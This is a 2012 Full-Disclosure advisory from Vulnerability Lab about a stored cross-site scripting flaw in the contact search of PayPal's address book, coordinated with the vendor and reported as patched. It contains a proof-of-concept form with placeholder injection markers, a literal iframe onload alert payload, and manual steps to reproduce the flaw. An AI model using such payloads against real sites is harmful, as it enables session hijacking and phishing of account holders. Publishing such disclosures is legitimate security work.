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[Full-disclosure] Paypal Core Bug Bounty #3 - Persistent Web Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Paypal Core Bug Bounty #3 - Persistent Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 14 Dec 2012 08:34:17 +0100
Title:
======
Paypal Core Bug Bounty #3 - Persistent Web Vulnerability
Date:
=====
2012-12-12
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=635
VL-ID:
=====
635
Common Vulnerability Scoring System:
====================================
4
Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to
be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper
methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account
or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account
after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a
purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will
default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over
1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding
hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master
Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other
funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal,
establish their own PayPal deposit account or request
a transfer to their bank account.
PayPal is an acquirer, performing payment processing for online vendors,
auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to
the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the
recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur
extra fees if the buyer and seller use different currencies.
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its
corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also
has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow
(near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP),
China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia
to 2,000 by the end of the year 2010.
Between December 4–9, 2010, PayPal services were attacked in a series of
denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use
violations over the publication of leaked US diplomatic cables.
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]
Abstract:
=========
The Vulnerability Laboratory Research Team discovered persistent web
vulnerability in the official Paypal (core) ecommerce website content
management system.
Report-Timeline:
================
2012-06-30: Researcher Notification & Coordination
2012-06-30: Vendor Notification
2012-07-02: Vendor Response/Feedback 1
2012-10-08: Vendor Response/Feedback 2
2012-12-11: Vendor Fix/Patch
2012-12-12: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Affected Products:
==================
Paypal - Core Application [2012 Q2-3]
Severity:
=========
Medium
Details:
========
A persistent input validation vulnerability is detected in the official Paypal
(core) ecommerce website content management system.
The bug allows remote attackers to implement/inject own malicious script code
on the application side (persistent).
The persistent input validation vulnerability is located in the Adressbuch
module with the bound vulnerable search function
when processing to request script code tags as `Addressbuch` contacts. The code
will be executed out of the search result
listing web context. Remote exploitation requires low user interaction and a
privileged paypal banking application user account.
Successful exploitation of the vulnerability results in persistent session
hijacking (admin), account steal via persistent phishing or
persistent search module web context manipulation.
Vulnerable Module(s):
[+] Adressbuch > Search > Benutzer/Kontakt
Vulnerable Parameter(s):
[+] search_str - Results
Affected Section(s):
[+] Results - Index (Listing)
Proof of Concept:
=================
The persistent vulnerability can be exploited by remote attackers with
privileged paypal user account and low required user interaction.
For demonstration or reproduce ...
PoC: [Existing Listing] (Index) Adressbuch > Search > Benutzer/Kontakt >
results
<form sourceindex="5" method="post" name="searchContact"
action="https://www.paypal.com/de/cgi-bin/webscr?
SESSION=4b304_obgVN3fxg6LFp08F6lUBD7aWq0HG3SWv5HSmrKxR_xRzWrZOtwRDq&
dispatch=5885d80a13c0db1f8e263663d3faee8d8494db97
03d295b4a2116480ee01a05c" class=""><input name="cmd" value="_flow"
type="hidden"><input id="baseUrl" name="baseUrl"
value="www.paypal.com/de" type="hidden"><input id="selectLabel"
name="selectLabel" value="" type="hidden"><input id="currentid"
name="current_id" value="0" type="hidden"><input id="CONTEXT_CGI_VAR"
name="CONTEXT" value="X3-7SZn2ExXucINxlliZ_05NdFsrIIpaV9TcRYNLL
_GiOwm9XgEZzWKQeV0" type="hidden"><div class="searchMainDiv"><fieldset
id="searchBy"><legend class="accessAid">Suchen</legend><span
class="floatLeft"><label for="search_str"><strong>Suchen</strong></label><input
sourceindex="6" autocomplete="off" id="search_str"
name="search_str" value=""><[PERSISTENT SCRIPT CODE INJECTION] <"
type="text"><input sourceindex="7"
name="searchGo.x" value="Los" class="button elemAjax"
type="submit"></span><span><input sourceindex="8" name="addContact.x"
value="Neuen Kontakt hinzufügen" class="button floatRight"
type="submit"></span></fieldset></div><div class="floatLeft"
id="resultPanel"><div id="resultDiv"><div id="leftSide"><ul id="val"><li
class="rowLeft oddRow focus" id="L1">
<span class="results">"><[PERSISTENT SCRIPT CODE INJECTION]"…</span'><span
class='viewEditLink
show'></span></li></ul></div><div
id='rightSideDiv' class='withBorder' tabindex='0'><div class='view
show'><h3>"><[PERSISTENT SCRIPT CODE INJECTION] <("</h3><div class='links'>
<span
class='buttonAsLink'><input type='submit'
name='editCID-T22A-J6G3-GZBY-SHK8.x' value='Bearbeiten'></span>
| <span class='buttonAsLink'><input type='submit' id='delete'
name='deleteCID-T22A-J6G3-GZBY-SHK8.x' value='Löschen'
class='deleteButton'></span></span></div><div
class='info'><span class='address'>"><iframe src=a
onload=alert(" "><iframe src=a onload=alert("</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<</span><span
class='address'>bkm@xxxxxxxxxxxxxxxxxxxxx</span><span
class='address'>Deutschland</span></div><div
class='info'><span class='address
heading'>Zusatzinformationen</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<</span></div><div class='info'><span
class='address heading'>Rechnungsadresse</span><span
class='address'>"><[PERSISTENT SCRIPT CODE INJECTION] <")
<<br>Deutschland</span></div></div></div></div></iframe></span></li>
</ul></div></div></div><input name="auth"
value="M8_dK6Q4HG9oPBKoZ_4I6YQ6TWdaI00OnfMkOwWXQ6pOZjZRca8TSAO38hIC585zYBbTFKQz1Qg7UOte0VbD_ah-
dzZjkiuSC-unZSf6mNBym71XfmcQvdV0WPwOUivermg9_ZZWTQH7yV9OG-bLLIzxH3ZFUJHX0uQzwZ-4v65aKp5013-712a
00pnY9m2cURtoC02BRhB_kOkuODdR5I6pS_NXG5ZmIMgnrJhkSgYl09piAB0icMRkReu"
type="hidden">
<input name="form_charset" value="UTF-8" type="hidden"></form>
Note:
The name with the code was saved in the addressbook. Only the matching and
successful result leads to the persistent execution of the web context.
When the other user is searching the existing account of the addressbook the
code will be executed persistent out of the matching search result
web context listing. If you do not know this it will be a bit harder to
reproduce. The bug is 100% existing because the screenshots show it
and also the poc. I found the issue by manually exploitation over the different
application layers and function. Maybe i guessed to implement
this details to the submission. The requested code with the malicious
persistent code can be reviewed in the attached poc document.
Manually reproduce ...
1. Go to the addressbook and switch to add a new contact to adressbook
2. Include script code (html/js) as username to the addressbook and save the
context
2. Now, switch to the user search (addressbook) module (other layer) & click
the user contact search to activate
3. Include the exact name of the username (script code (html/js)) from the
addressbook and press the search button
4. The context of the other layer from the addressbook will be executed
directly out of the results listing page of the exisiting user contacts
5. Done! POST REQUEST: method="post" name="searchContact"
Solution:
=========
The vulnerability can be patched by parsing the addressbook search results
module with the bound vulnerability matching account listing.
Risk:
=====
The security risk of the persistent script code inject vulnerability is
estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
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